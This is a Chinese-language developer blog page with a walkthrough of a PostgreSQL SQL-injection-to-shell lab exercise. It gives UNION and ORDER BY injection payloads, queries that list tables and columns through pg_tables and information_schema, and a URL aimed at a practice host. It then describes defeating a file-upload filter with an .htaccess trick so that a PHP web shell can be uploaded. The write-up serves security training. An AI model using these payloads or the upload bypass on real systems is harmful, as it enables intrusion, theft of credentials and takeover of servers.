热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[SQL注入2]FROMSQLINJECTIONTOSHELL:POSTGRESQLEDITION

FROMSQLINJECTIONTOSHELL:POSTGRESQLEDITION  这里先介绍一下POSTGRESQL。这是一款数据库管理系统,与oracle是同类型软件。08年

FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

   

这里先介绍一下POSTGRESQL。这是一款数据库管理系统,与oracle是同类型软件。08年左右的市场占有率为8%

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

上图为ITPUB社区开源数据库使用状况调查

探测SQL注入

本关可以说是FROM SQL INJECTION TO SHELL 这关的延续。建议先通过之前的关。

   

这关基本上和FROM SQL INJECTION TO SHELL是类似的。共同的部分就不再介绍了。

   

这关的错误代码发生了变化

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

   

   

利用SQL注入

攻击方法还是用UNIONORDER BY两种

   

  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1
  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2
  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3

   

这里三种情况都有报错,但第三种情况报的错会不同。报错提示是数据类型不匹配。

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

   

再试试ORDER BY。这里很容易试出字段数量。超出查询字段数量,提示如下

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

   

检索信息

从上一步的UNION我们看到提示是数据类型不匹配,把数字改变成null试下。

  • 1 UNION SELECT 'aaaa',null,null,null

结果没有报错

   

我们再尝试下面几种情况

  • 1 UNION SELECT 'aaaa',null,null,null
  • 1 UNION SELECT null,'aaaa',null,null
  • 1 union select null,null,'aaaa',null
  • 1 union select null,null,null,'aaaa'

发现第23 个没有报错,第1,4报数据类型不匹配。如果查看网页的HTML,会发现'aaaa'存在于中,这可以猜出第3字段应该是与图片的文件名。

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

   

   

我们采用第2个进行构建语句,查询version(),current_user,current_database()

我注意到这里的函数与上一关的略有点不同,上一关的是version(),current_user(),current_database()

这是因为上一关的数据库是MYSQL

http://www.vulnerable.com/cat.php?id=1%20union%20select%20null,version%28%29,null,null

   

接下来,我们尝试获取当前数据库的表名和字段。方法和MYSQL的类似。POSTGRESQL也有一个meta-information数据库,我们可以构建语句查询

   

查询表名:SELECT tablename FROM pg_tables

查询所有字段:

SELECT column_name FROM information_schema.columns

   

结合到实例中:

   

  • 1 UNION SELECT null,tablename,null,null FROM pg_tables
  • 1 UNION SELECT null,column_name,null,null FROM information_schema.columns

   

同时取得字段和对应的表名

  • 1 UNION SELECT null, table_name, column_name,null,null FROM information_schema.columns
  • 1 UNION SELECT null,table_name||':'|| column_name,null,null FROM information_schema.columns.

   

上一关是用contact函数,而这个数据库不能用。

   

从结果中找到用户表USERS和它的字段

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

   

查出密码再解密还原。

   

登陆账号,注入文件

   

这里开始是本关的难点。

上一关用.php3就混过关, 这次又被过滤了。经尝试,只要带php的,统统被过滤。

   

这次要引入 .htaccess文件

这个文件很多妙用,它与windows的autorun.inf有点类似。请查看百度百科

   

htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

   

.htaccess文件的内容如下,意思是增加一种php模块执行的后缀。blah后缀不太可能被过滤掉。

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

   

特别注意下".htaccess"不是后缀,在windows图形界面下是难重命名成这个名字,需要DOS下改。

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

   

再把shell.php3更名为shell.blah,上传这两个到服务器。神奇的事就发生了。

[SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION


推荐阅读
  • MySQL中的MVVC多版本并发控制机制的应用及实现
    本文介绍了MySQL中MVCC的应用及实现机制。MVCC是一种提高并发性能的技术,通过对事务内读取的内存进行处理,避免写操作堵塞读操作的并发问题。与其他数据库系统的MVCC实现机制不尽相同,MySQL的MVCC是在undolog中实现的。通过undolog可以找回数据的历史版本,提供给用户读取或在回滚时覆盖数据页上的数据。MySQL的大多数事务型存储引擎都实现了MVCC,但各自的实现机制有所不同。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • MySQL数据库锁机制及其应用(数据库锁的概念)
    本文介绍了MySQL数据库锁机制及其应用。数据库锁是计算机协调多个进程或线程并发访问某一资源的机制,在数据库中,数据是一种供许多用户共享的资源,如何保证数据并发访问的一致性和有效性是数据库必须解决的问题。MySQL的锁机制相对简单,不同的存储引擎支持不同的锁机制,主要包括表级锁、行级锁和页面锁。本文详细介绍了MySQL表级锁的锁模式和特点,以及行级锁和页面锁的特点和应用场景。同时还讨论了锁冲突对数据库并发访问性能的影响。 ... [详细]
  • Oracle seg,V$TEMPSEG_USAGE与Oracle排序的关系及使用方法
    本文介绍了Oracle seg,V$TEMPSEG_USAGE与Oracle排序之间的关系,V$TEMPSEG_USAGE是V_$SORT_USAGE的同义词,通过查询dba_objects和dba_synonyms视图可以了解到它们的详细信息。同时,还探讨了V$TEMPSEG_USAGE的使用方法。 ... [详细]
  • Python SQLAlchemy库的使用方法详解
    本文详细介绍了Python中使用SQLAlchemy库的方法。首先对SQLAlchemy进行了简介,包括其定义、适用的数据库类型等。然后讨论了SQLAlchemy提供的两种主要使用模式,即SQL表达式语言和ORM。针对不同的需求,给出了选择哪种模式的建议。最后,介绍了连接数据库的方法,包括创建SQLAlchemy引擎和执行SQL语句的接口。 ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • 如何利用 Myflash 解析 binlog ?
    本文主要介绍了对Myflash的测试,从准备测试环境到利用Myflash解析binl ... [详细]
  • 如何实现JDK版本的切换功能,解决开发环境冲突问题
    本文介绍了在开发过程中遇到JDK版本冲突的情况,以及如何通过修改环境变量实现JDK版本的切换功能,解决开发环境冲突的问题。通过合理的切换环境,可以更好地进行项目开发。同时,提醒读者注意不仅限于1.7和1.8版本的转换,还要适应不同项目和个人开发习惯的需求。 ... [详细]
  • 腾讯安全平台部招聘安全工程师和数据分析工程师
    腾讯安全平台部正在招聘安全工程师和数据分析工程师。安全工程师负责安全问题和安全事件的跟踪和分析,提供安全测试技术支持;数据分析工程师负责安全产品相关系统数据统计和分析挖掘,通过用户行为数据建模为业务决策提供参考。招聘要求包括熟悉渗透测试和常见安全工具原理,精通Web漏洞,熟练使用多门编程语言等。有相关工作经验和在安全站点发表作品的候选人优先考虑。 ... [详细]
  • OCI连接MySQL_PLSQL Developer连接远程数据库OCI客户端安装方法
    本文介绍了使用OCI客户端连接MySQL和PLSQL Developer连接远程数据库的安装方法,避免了在本地安装Oracle数据库或类似的开发套件的麻烦,同时解决了PLSQL Dev连接远程Oracle时的配置问题。 ... [详细]
author-avatar
心里有事1_891
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有